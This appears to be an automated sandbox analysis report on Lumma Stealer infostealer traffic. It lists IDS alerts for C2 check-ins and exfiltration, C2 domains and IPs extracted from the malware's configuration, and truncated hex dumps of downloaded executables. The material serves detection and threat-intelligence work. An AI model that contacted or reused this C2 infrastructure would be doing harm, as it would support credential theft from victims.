Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50186 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50128 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50128 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50180 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50180 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50222 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50189 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50189 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50240 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50240 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50250 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50205 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50205 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50264 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50287 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50276 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50304 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50298 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50247 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50247 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50517 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50517 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50520 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50520 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50544 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50614 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50526 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50614 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50633 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50541 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50639 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50616 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50616 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50636 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50174 -> 104.21.21.99:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: cheapptaxysu.click
Source: Malware configuration extractor URLs: necklacebudi.lat
Source: Malware configuration extractor URLs: aspecteirs.lat
Source: Malware configuration extractor URLs: crosshuaht.lat
Source: Malware configuration extractor URLs: rapeflowwj.lat
Source: Malware configuration extractor URLs: discokeyus.lat
Source: Malware configuration extractor URLs: sustainskelet.lat
Source: Malware configuration extractor URLs: grannyejh.lat
Source: Malware configuration extractor URLs: energyaffai.lat
Source: Malware configuration extractor IPs: 185.215.113.43
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:16:11 GMTContent-Type: application/octet-streamContent-Length: 2668544Last-Modified: Sat, 21 Dec 2024 08:45:32 GMTConnection: keep-aliveETag: "6766802c-28b800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 ca 47 72 61 ab 29 21 61 ab 29 21 61 ab 29 21 13 2a 2a 20 6c ab 29 21 13 2a 2c 20 f5 ab 29 21 13 2a 2d 20 72 ab 29 21 70 2d 2a 20 73 ab 29 21 70 2d 2d 20 71 ab 29 21 70 2d 2c 20 47 ab 29 21 13 2a 28 20 64 ab 29 21 61 ab 28 21 3f ab 29 21 e2 2d 21 20 60 ab 29 21 e2 2d d6 21 60 ab 29 21 e2 2d 2b 20 60 ab 29 21 52 69 63 68 61 ab 29 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f4 a8 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 aa 26 00 00 1c 02 00 00 00 00 00 50 a5 23 00 00 10 00 00 00 c0 26 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 29 00 00 04 00 00 be fd 28 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 aa 27 00 3c 00 00 00 00 f0 27 00 7d 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 28 00 b8 6a 00 00 00 9c 27 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 9b 27 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 aa a8 26 00 00 10 00 00 00 aa 26 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2c f1 00 00 00 c0 26 00 00 f2 00 00 00 ae 26 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f0 1a 00 00 00 c0 27 00 00 0a 00 00 00 a0 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 70 74 61 62 6c 65 80 00 00 00 00 e0 27 00 00 02 00 00 00 aa 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7d 9e 00 00 00 f0 27 00 00 a0 00 00 00 ac 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b8 6a 00 00 00 90 28 00 00 6c 00 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:16:21 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:16:28 GMTContent-Type: application/octet-streamContent-Length: 1861632Last-Modified: Thu, 19 Dec 2024 20:35:58 GMTConnection: keep-aliveETag: "676483ae-1c6800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 49 41 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 65 6b 63 61 7a 62 6f 00 f0 19 00 00 50 2f 00 00 e2 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 74 6c 6c 6f 7a 63 76 00 10 00 00 00 40 49 00 00 06 00 00 00 40 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 49 00 00 22 00 00 00 46 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:16:37 GMTContent-Type: application/octet-streamContent-Length: 439296Last-Modified: Sat, 21 Dec 2024 08:14:10 GMTConnection: keep-aliveETag: "676678d2-6b400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 01 33 64 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f2 04 00 00 00 02 00 00 00 00 00 27 a0 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 45 06 00 c8 00 00 00 00 d0 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 06 00 c0 45 00 00 e0 e1 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 05 00 18 00 00 00 18 e2 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 05 00 3c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6a f1 04 00 00 10 00 00 00 f2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 48 01 00 00 10 05 00 00 4a 01 00 00 f6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 6d 00 00 00 60 06 00 00 2c 00 00 00 40 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 d0 06 00 00 02 00 00 00 6c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c0 45 00 00 00 e0 06 00 00 46 00 00 00 6e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:16:43 GMTContent-Type: application/octet-streamContent-Length: 605696Last-Modified: Thu, 12 Dec 2024 15:01:10 GMTConnection: keep-aliveETag: "675afab6-93e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d 93 ba 99 09 f2 d4 ca 09 f2 d4 ca 09 f2 d4 ca 42 8a d7 cb 0c f2 d4 ca 42 8a d1 cb b6 f2 d4 ca 19 76 d7 cb 03 f2 d4 ca 19 76 d0 cb 18 f2 d4 ca 42 8a d2 cb 08 f2 d4 ca 19 76 d1 cb 63 f2 d4 ca 52 9a d5 cb 0b f2 d4 ca 42 8a d0 cb 12 f2 d4 ca 42 8a d5 cb 18 f2 d4 ca 09 f2 d5 ca cf f2 d4 ca 42 77 dd cb 0c f2 d4 ca 42 77 2b ca 08 f2 d4 ca 09 f2 43 ca 08 f2 d4 ca 42 77 d6 cb 08 f2 d4 ca 52 69 63 68 09 f2 d4 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 31 b5 31 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 ee 06 00 00 6c 02 00 00 00 00 00 0c 32 04 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 09 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 be 08 00 b4 00 00 00 00 60 09 00 48 04 00 00 00 10 09 00 74 4c 00 00 00 00 00 00 00 00 00 00 00 70 09 00 90 0b 00 00 80 04 08 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 06 08 00 28 00 00 00 40 03 08 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 07 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3e ec 06 00 00 10 00 00 00 ee 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 ce 01 00 00 00 07 00 00 d0 01 00 00 f2 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 3b 00 00 00 d0 08 00 00 1c 00 00 00 c2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 74 4c 00 00 00 10 09 00 00 4e 00 00 00 de 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 48 04 00 00 00 60 09 00 00 06 00 00 00 2c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 90 0b 00 00 00 70 09 00 00 0c 00 00 00 32 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:16:50 GMTContent-Type: application/octet-streamContent-Length: 4470272Last-Modified: Sun, 22 Dec 2024 00:33:17 GMTConnection: keep-aliveETag: "67675e4d-443600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c6 e7 66 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 4e 00 00 c6 74 00 00 32 00 00 00 70 c6 00 00 10 00 00 00 f0 4e 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 a0 c6 00 00 04 00 00 2f 58 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 10 72 00 73 00 00 00 00 00 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 56 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 56 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 f0 71 00 00 10 00 00 00 a0 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 00 72 00 00 02 00 00 00 b0 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 72 00 00 02 00 00 00 b2 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 38 00 00 20 72 00 00 02 00 00 00 b4 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 73 6d 6f 71 63 6e 70 00 60 1b 00 00 00 ab 00 00 5a 1b 00 00 b6 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 